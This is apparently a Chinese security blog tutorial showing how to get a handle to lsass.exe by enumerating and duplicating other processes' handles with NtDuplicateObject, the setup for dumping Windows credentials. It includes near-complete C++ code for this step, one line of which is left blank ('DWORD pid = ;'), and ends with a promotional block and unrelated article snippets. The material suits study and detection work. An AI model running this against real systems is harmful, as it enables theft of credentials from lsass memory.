利用NtDuplicateObject进行Dump
前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)
这是国外老哥2020年提出的一种蛮有意思的思路。
我们先来看看大致的思路是什么样子的,然后来看看一些需要学习的点。* 首先我们需要获得调式权限(SeDebugPrivilege)* 然后我们使用NtQuerySystemInformation生成所有进程打开的所有句柄* 利用OpenProcess打开句柄,赋予PROCESS_DUP_HANDLE权限* NtDuplicateObject将获取远程进程句柄的副本到我们的进程* 利用NtQueryObject函数判断句柄是进程句柄还是其他一些东西* 如果是进程句柄,则使用该句柄的副本调用QueryFullProcessImageName函数,它将显示进程可执行路径,以此判断是不是我们需要的那个进程
获得系统的调试权限就不多提了,这个利用RtlAdjustPrivilege函数即可轻松的获取到权限(不过需要在管理员权限下运行),我们先看看这个几函数以及其参数
NtQuerySystemInformation__kernel_entry NTSTATUS NtQuerySystemInformation([in]SYSTEM_INFORMATION_CLASS SystemInformationClass,[in, out] PVOIDSystemInformation,[in]ULONGSystemInformationLength,[out, optional] PULONG ReturnLength);
第一个参数就是要检索的系统信息的类型,我们这里使用SYSTEM_HANDLE_INFORMATION,可能在MSDN上没有这个参数,我们看看SYSTEM_HANDLE_INFORMATION的结构typedef struct _SYSTEM_HANDLE{ULONG ProcessId;BYTE ObjectTypeNumber;BYTE Flags;USHORT Handle;PVOID Object;ACCESS_MASK GrantedAccess;} SYSTEM_HANDLE, *PSYSTEM_HANDLE;typedef struct _SYSTEM_HANDLE_INFORMATION{ULONG HandleCount;SYSTEM_HANDLE Handles[1];} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
在_SYSTEM_HANDLE_INFORMATION中* HandleCount:表示句柄的总数* Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)
在_SYSTEM_HANDLE中表示单个句柄的参数* ProcessId:进程标识符* ObjectTypeNumber:打开的对象的类型* Flags:句柄属性标志* Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄* Object:这个就是句柄对应的EPROCESS的地址* GrantedAccess:句柄对象的访问权限
NtDuplicateObject
这个函数是复制句柄,其原型如下,其可以对照ZwDuplicateObjectNTSYSCALLAPINTSTATUSNTAPINtDuplicateObject(In HANDLE SourceProcessHandle,In HANDLE SourceHandle,In_opt HANDLE TargetProcessHandle,Out_opt PHANDLE TargetHandle,In ACCESS_MASK DesiredAccess,In ULONG HandleAttributes,In ULONG Options);* SourceProcessHandle:要复制的句柄的源进程句柄* SourceHandle:要复制的句柄* TargetProcessHandle:接收新进程的目标进程句柄* 一个句柄指针(就是保存句柄的副本)* 访问的权限
后面两个就不说明了,一般填0
NtQueryObject
函数原型如下NTSYSCALLAPINTSTATUSNTAPINtQueryObject(In HANDLE Handle,In OBJECT_INFORMATION_CLASS ObjectInformationClass,Out_opt PVOID ObjectInformation,In ULONG ObjectInformationLength,Out_opt PULONG ReturnLength);
主要是第二个参数,第二个参数我们用到OBJECT_TYPE_INFORMATION(我没有找到解释)typedef struct _OBJECT_TYPE_INFORMATION{UNICODE_STRING Name;ULONG TotalNumberOfObjects;ULONG TotalNumberOfHandles;ULONG TotalPagedPoolUsage;ULONG TotalNonPagedPoolUsage;ULONG TotalNamePoolUsage;ULONG TotalHandleTableUsage;ULONG HighWaterNumberOfObjects;ULONG HighWaterNumberOfHandles;ULONG HighWaterPagedPoolUsage;ULONG HighWaterNonPagedPoolUsage;ULONG HighWaterNamePoolUsage;ULONG HighWaterHandleTableUsage;ULONG InvalidAttributes;GENERIC_MAPPING GenericMapping;ULONG ValidAccess;BOOLEAN SecurityRequired;BOOLEAN MaintainHandleCount;USHORT MaintainTypeList;ULONG PoolType;ULONG PagedPoolUsage;ULONG NonPagedPoolUsage;} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
之后我们需要将缓冲区转换为UNICODE_STRINGtypedef struct _UNICODE_STRING{USHORT Length;USHORT MaximumLength;PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;
Buffer是我们需要用到的,用于判断其是什么类型
我们随机选择一个进程进行测试,这里选择1048,我们将其进程中Type为Thread的和Handle给打印出来
#include <windows.h>#include <stdio.h>#include #include “ntdll.h”#pragma comment(lib, “ntdll”)using namespace std;int main(int argc, char* argv[]) { NTSTATUS status; ULONG handleInfoSize = 0x10000; PSYSTEM_HANDLE_INFORMATION handleInfo; HANDLE dupHandle; ULONG returnLength; HANDLE hProcess = NULL; DWORD pid = 1048; HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); if (!processHandle) { printf(“Could not open PID %d! (Don’t try to open a system process.)\n”, pid); return 1; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) { handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); } if (!NT_SUCCESS(status)) { cout << “[-] NtQuerySystemInformation Error” << endl; return 1; } //枚举所有的句柄 for (ULONG i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ProcessId != pid) { continue; } //复制句柄存储到dupHandle status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); if (status != STATUS_SUCCESS) { continue; } PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL); if (status != STATUS_SUCCESS) { printf(“[%#x] Error!\n”, handleInfo->Handles[i].Handle); CloseHandle(dupHandle); continue; } UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo; if (objectType.Length) { if (wcsstr(objectType.Buffer, L"Thread") != NULL) { printf(“Handle:[%#x] Type: % S\n”, handleInfo->Handles[i].Handle, objectType.Buffer); } } } free(handleInfo);}
代码可能写的有点磕碜,读者可以把参考一下:<https://blez.wordpress.com/2012/09/17/enumerating-
opened-handles-from-a-process/>
但是我们可以看到Name中有些进程并不是我们想要的,我们可以看看lsass.exe中Type为Process的Name,有很多我们并不需要的
因此我们需要对Name进行筛选,这时候就需要用到QueryFullProcessImageName
QueryFullProcessImageName
函数原型WINBASEAPIBOOLWINAPIQueryFullProcessImageNameW(In HANDLE hProcess,In DWORD dwFlags,Out_writes_to(*lpdwSize, *lpdwSize) LPWSTR lpExeName,Inout PDWORD lpdwSize);
根据其句柄获得其文件的路径,我们可以利用其去判断是否是我们需要的文件#include <windows.h>#include <stdio.h>#include #include “ntdll.h”#pragma comment(lib, “ntdll”)using namespace std;int SeDebugPrivilege() { BOOLEAN t; NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t); if (!NT_SUCCESS(status)) { cout << “[-] Unable to resolve RtlAdjustPrivilege” << endl; return 1; } cout << “[+] RtlAdjustPrivilege Success” << endl;}int main(int argc, char* argv[]) { NTSTATUS status; ULONG handleInfoSize = 0x10000; PSYSTEM_HANDLE_INFORMATION handleInfo; HANDLE dupHandle; ULONG returnLength; HANDLE hProcess = NULL; SeDebugPrivilege(); DWORD pid = ; HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); if (!processHandle) { printf(“Could not open PID %d! (Don’t try to open a system process.)\n”, pid); return 1; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) { handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); } if (!NT_SUCCESS(status)) { cout << “[-] NtQuerySystemInformation Error” << endl; return 1; } //枚举所有的句柄 for (ULONG i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ProcessId != pid) { continue; } //复制句柄存储到dupHandle status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); if (status != STATUS_SUCCESS) { continue; } PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL); if (status != STATUS_SUCCESS) { printf(“[%#x] Error!\n”, handleInfo->Handles[i].Handle); CloseHandle(dupHandle); continue; } UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo; wchar_t path[MAX_PATH]; DWORD maxpath = MAX_PATH; if (objectType.Length) { if (wcsstr(objectType.Buffer, L"Process") != NULL) { QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath); if (wcsstr(path, L"lsass.exe") != NULL) { printf(“Handle:[%#x] Type: % S\n”, handleInfo->Handles[i].Handle, objectType.Buffer); } } } } free(handleInfo);}
之后就可以利用其对应的复制的句柄副本进行dump了,后面就不再讨论了。
我们上面是直接给的lsass.exe的pid,我们可以通过进程快照或者复制所有的进程句柄,到最后判断那再进行筛选来自动获得其进程。
网络安全工程师企业级学习路线
这时候你当然需要一份系统性的学习路线
如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。
一些我收集的网络安全自学入门书籍
一些我白嫖到的不错的视频教程:
上述资料【扫下方二维码】就可以领取了,无偿分享
相关文章:

利用NtDuplicateObject进行Dump
前言 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习) 这是国外老哥2020年提出的一种蛮有意思的思路。 我们先来看看大致的思路是…...

【快应用】list组件如何区分滑动的方向?
【关键词】 list组件、滑动方向、scroll 【问题背景】 有cp反馈list这个组件在使用的时候,不知道如何区分它是上滑还是下滑。 【问题分析】 list组件除了通用事件之外,还提供了scroll、scrollbottom、scrolltop、scrollend、scrolltouchup事件&#x…...
【深入了解pytorch】PyTorch扩展:如何使用PyTorch的扩展功能
【深入了解pytorch】PyTorch扩展:如何使用PyTorch的扩展功能 PyTorch扩展:展示如何使用PyTorch的扩展功能1. 自定义损失函数2. 自定义数据加载器3. 自定义优化器总结PyTorch扩展:展示如何使用PyTorch的扩展功能 PyTorch作为一个开源的深度学习框架,在研究和应用领域广受欢…...
Vue3——如何实现页面访问拦截
在现代的Web开发中,页面访问拦截是一个非常常见的需求。通过拦截页面访问,我们可以控制用户在访问特定页面之前需要满足的条件,比如登录状态、权限等。Vue是一个非常流行的JavaScript框架,它提供了许多强大的工具和功能࿰…...

nginx配置gzip
在 Nginx 中启用 Gzip 压缩可以大幅减少传输内容的大小,从而加快网页加载速度。 打开 Nginx 的配置文件,通常是 /etc/nginx/nginx.conf 或者 /etc/nginx/conf.d/default.conf。找到 http 配置块,在其中添加以下代码来开启 Gzip 压缩ÿ…...
ExtJS教程_编程入门自学教程_菜鸟教程-免费教程分享
教程简介 Ext JS是一个流行的JavaScript框架,它为使用跨浏览器功能构建Web应用程序提供了丰富的UI。 Ext JS基本上用于创建桌面应用程序它支持所有现代浏览器,如IE6 ,FF,Chrome,safari 6 等。Ext JS基于MVC / MVVM架构…...

【el-upload】批量上传图片时在before-upload中添加弹窗判断时的踩坑记录
一、初始代码 1. 初始使用组件代码片段 <!-- 上传 --> <DialogUploadFile ref"uploadFile" success"refresh" />// 上传 const uploadHandle () > {if (selections.value.length ! 1) {onceMessage.warning(请选择一条数据操作)return}u…...
【Java基础】- JVM之Dump文件详解
Java基础 - JVM之Dump文件详解 文章目录 Java基础 - JVM之Dump文件详解一、什么是Dump三、为什么需要Dump分析思路 四、Dump记录哪些内容4.1 Java dump 文件的格式和内容段格式行格式 4.2 常用分类heap dump和thread dumpheap dumpthread dump 五、如何生产Dump文件5.1 获取hea…...

基于Vue+wangeditor实现富文本编辑
目录 前言分析实现具体解决的问题有具体代码实现如下效果图总结前言 一个网站需要富文本编辑器功能的原因有很多,以下是一些常见的原因: 方便用户编辑内容:富文本编辑器提供了类似于Office Word的编辑功能,使得那些不太懂HTML的用户也能够方便地编辑网站内容。提高用户体验…...
深入理解 Spring 中的 @RequestBody 和 @ResponseBody 注解及其区别
引言 在现代的 Web 开发中,处理 HTTP 请求和响应是不可或缺的任务。Spring Framework 提供了丰富的功能来简化这些任务,并使开发人员能够更专注于业务逻辑。在本文中,我们将深入探讨 Spring 中的 RequestBody 和 ResponseBody 注解࿰…...

【论文阅读】EULER:通过可扩展时间链接预测检测网络横向移动(NDSS-2022)
作者:乔治华盛顿大学-Isaiah J. King、H. Howie Huang 引用:King I J, Huang H H. Euler: Detecting Network Lateral Movement via Scalable Temporal Graph Link Prediction [C]. Proceedings 2022 Network and Distributed System Security Symposium…...

手动创建一个DOCKER镜像
1. 我们先使用C语言写一个hello-world程序 vim hello.c # include <stdio.h>int main() {print("hello docker\n"); } 2. 将hello.c文件编译成二进制文件, 需要安装工具 yum install gcc yum install glibc-static 开始编译 gcc -static hello.c -o hello 编译…...

SSM(Vue3+ElementPlus+Axios+SSM前后端分离)--搭建Vue 前端工程[一]
文章目录 SSM--搭建Vue 前端工程--项目基础界面实现功能01-搭建Vue 前端工程需求分析/图解代码实现搭建Vue 前端工程下载node.js LTS 并安装: node.js 的npm创建Vue 项目使用idea 打开ssm_vue 项目, 并配置项目启动 Vue3 项目目录结构梳理Vue3 项目结构介绍 配置Vue 服务端口El…...

Idea使用Docker插件实现maven打包自动构建镜像
Docker 开启TCP 服务 vi /lib/systemd/system/docker.service改写以下内容 ExecStart/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重启服务 #重新加载配置文件 systemctl daemon-reload #重启服务 systemctl restart docker.service此时docker已…...
Tailwind css优于Bootstrap 7个原因
在某些情况下,Tailwind css 比 Bootstrap 更好,因为它是一个低级 CSS 框架,可让您根据需要构建自己的自定义组件。如果使用得当,它非常注重性能,可以显着减少 CSS 负载并确保更快的渲染。如果 Web 性能和自定义是您的首…...

IDEA简单拷贝一份新项目记录
IDEA简单拷贝项目记录 拷贝后改项目名,然后iml 配置文件改项目名,然后 .idea 中的compiler.xml 里面的name标签改项目名。 就可以了...
华为OD真题--字符串加密
2023华为OD统一考试(AB卷)题库清单-带答案(持续更新)or2023年华为OD真题机考题库大全-带答案(持续更新) "给你一串未加密的字符串str,通过对字符串的每一个字母进行改变来实现加密…...

UML-状态图
目录 状态图 状态图的图符 状态机 状态 转换 电话机状态图 活动图和状态图区别: 状态图 状态图(Statechart Diagram)是描述一个实体基于事件反应的动态行为,显示了该实体如何根据当前所处的状态对不同的事件做出反应。通常我们创建一个UML状态…...
chrome插件开发实例07- Vue调试插件vue-devtools
目录 一、为什么使用vue-devtools插件 二、如何安装 三、使用源码方式,安装Vue-devtools插件...
HTML <span> 标签
定义和用法 <span> 标签被用来组合文档中的行内元素。 浏览器支持 元素ChromeIEFirefoxSafariOpera<span>YesYesYesYesYes所有浏览器都支持 <span> 标签。 HTML 与 XHTML 之间的差异 NONE 提示和注释: 提示:请使用 <span> 来组合行内元素,以便…...

【力扣数据库知识手册笔记】索引
索引 索引的优缺点 优点1. 通过创建唯一性索引,可以保证数据库表中每一行数据的唯一性。2. 可以加快数据的检索速度(创建索引的主要原因)。3. 可以加速表和表之间的连接,实现数据的参考完整性。4. 可以在查询过程中,…...
前端倒计时误差!
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、误差从何而来?二、五大解决方案1. 动态校准法(基础版)2. Web Worker 计时3. 服务器时间同步4. Performance API 高精度计时5. 页面可见性API优化三、生产环境最佳实践四、终极解决方案架构前言 前几天听说公司某个项…...

DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...

QT: `long long` 类型转换为 `QString` 2025.6.5
在 Qt 中,将 long long 类型转换为 QString 可以通过以下两种常用方法实现: 方法 1:使用 QString::number() 直接调用 QString 的静态方法 number(),将数值转换为字符串: long long value 1234567890123456789LL; …...

如何在最短时间内提升打ctf(web)的水平?
刚刚刷完2遍 bugku 的 web 题,前来答题。 每个人对刷题理解是不同,有的人是看了writeup就等于刷了,有的人是收藏了writeup就等于刷了,有的人是跟着writeup做了一遍就等于刷了,还有的人是独立思考做了一遍就等于刷了。…...

Reasoning over Uncertain Text by Generative Large Language Models
https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...
音视频——I2S 协议详解
I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议,专门用于在数字音频设备之间传输数字音频数据。它由飞利浦(Philips)公司开发,以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...

【C++】纯虚函数类外可以写实现吗?
1. 答案 先说答案,可以。 2.代码测试 .h头文件 #include <iostream> #include <string>// 抽象基类 class AbstractBase { public:AbstractBase() default;virtual ~AbstractBase() default; // 默认析构函数public:virtual int PureVirtualFunct…...
深度剖析 DeepSeek 开源模型部署与应用:策略、权衡与未来走向
在人工智能技术呈指数级发展的当下,大模型已然成为推动各行业变革的核心驱动力。DeepSeek 开源模型以其卓越的性能和灵活的开源特性,吸引了众多企业与开发者的目光。如何高效且合理地部署与运用 DeepSeek 模型,成为释放其巨大潜力的关键所在&…...